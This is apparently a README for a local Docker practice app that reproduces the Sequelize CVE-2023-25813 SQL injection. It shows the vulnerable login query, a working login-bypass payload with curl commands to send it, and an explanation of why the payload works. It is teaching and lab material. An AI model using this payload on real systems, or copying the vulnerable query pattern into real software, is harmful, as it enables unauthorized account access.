
Sequelize Sql Injection 취약점 구현
An Express + MySQL practice app for locally verifying the behavior of Sequelize CVE-2023-25813.
This project intentionally maintains a vulnerable Sequelize version and a vulnerable login query pattern. Do not expose it to the internet; run it only in a local Docker practice environment.
localhost:3307localhost:3000Main features:
Uses a .env file. Refer to .env.example for an example.
DB_USER=root
DB_PASSWORD=YOUR_MYSQL_PASSWORD
DB_NAME=cve_test_db
DB_HOST=127.0.0.1
DB_PORT=3306
DB_FORWARD_PORT=3307
ADMIN_USERNAME=admin
ADMIN_PASSWORD=admin
When running with Docker, the app container uses the db service inside the Compose environment, not a local MySQL.
From the app container's perspective: DB_HOST=db
From the host machine's perspective: DB connection port=3307
After turning on Docker Desktop, run in PowerShell.
cd "C:\Users\hjshg\Desktop\cve-test-app"
docker compose up -d --build
Access in your browser.
http://localhost:3000
Check status:
docker compose ps
docker compose logs app --tail 50
Stop:
docker compose down
Also clear DB data:
docker compose down -v
To directly access MySQL inside Docker:
docker compose exec db mysql -uroot -p cve_test_db
The password is the DB_PASSWORD value from .env.
For GUI tools like Workbench, connect with the following values.
Host: 127.0.0.1
Port: 3307
User: root
Password: DB_PASSWORD from .env
Database: cve_test_db
If the database is created, you'll see messages like these in the app logs.
cve_test_db database ready
admin administrator account ready
Database connection successful
Listening on port 3000
On app startup, the admin account is automatically created using the .env values.
Default:
ID: admin
Password: admin
After logging in, the current logged-in account is displayed at the top of the main page.
Currently logged in account: admin
Go to /login in your browser, then:
ID: admin
Password: admin
If successful, you will be redirected to / and the main page will show the current logged-in account.
To verify with curl:
curl.exe -i -X POST http://localhost:3000/login `
-H "Content-Type: application/x-www-form-urlencoded" `
--data-urlencode "username=admin" `
--data-urlencode "password=admin"
Success criteria:
HTTP/1.1 302 Found
Location: /
Go to /login in your browser, then enter the following values.
ID: /**/OR/**/1=1)/**/#
Password: :username
If successful, you will be redirected to / instead of /login?error=invalid. The main page's current logged-in account will also show the logged-in user.
Verify with curl:
curl.exe -i -X POST http://localhost:3000/login `
-H "Content-Type: application/x-www-form-urlencoded" `
--data-urlencode "username=/**/OR/**/1=1)/**/#" `
--data-urlencode "password=:username"
Success criteria:
HTTP/1.1 302 Found
Location: /
The vulnerable code is in the login route.
const user = await User.findOne({
where: and(
literal('username = :username'),
{ password }
),
replacements: { username: username }
});
For a normal login, the SQL would roughly look like this.
WHERE (username = 'admin' AND `User`.`password` = 'admin') LIMIT 1;
The problem lies in mixing literal('username = :username'), { password }, and replacements in the same query. In Sequelize 6.19.0, replacements is applied to the entire query, which can also replace :username within the user-supplied password value.
The practice payload is entered as follows.
username = /**/OR/**/1=1)/**/#
password = :username
At this point, the actual query in the logs will roughly look like this.
WHERE (
username = '/**/OR/**/1=1)/**/#'
AND `User`.`password` = ''/**/OR/**/1=1)/**/#''
) LIMIT 1;
Meaning of each part:
password=:username: The key is to cause the username replacement to happen again in the password field./**/: A MySQL comment block. It acts like a space, so even if spaces around OR are stripped, the SQL tokens are separated.OR 1=1: Adds an always-true condition.): Closes the AND(...) condition group created by Sequelize.#: A MySQL single-line comment. It comments out the remaining trailing quote and the part around LIMIT 1 to avoid syntax errors.As a result, the condition is always true, the first user row is retrieved, and the app treats it as a successful login.
Payloads that rely on spaces, like the one below, may fail if leading/trailing spaces are removed during browser input.
OR 1=1) --
MySQL's -- comment requires a space after it. If the space is missing, it won't be recognized as a comment, causing a syntax error.
This project recommends the following payload.
ID: /**/OR/**/1=1)/**/#
Password: :username
When running with Docker, the DB is created in the Docker db container, not in the local MySQL server. To see it from the host PC, connect to localhost:3307.
That's normal. This app keeps a vulnerable Sequelize version for CVE practice.
Running npm audit fix may remove the target vulnerability.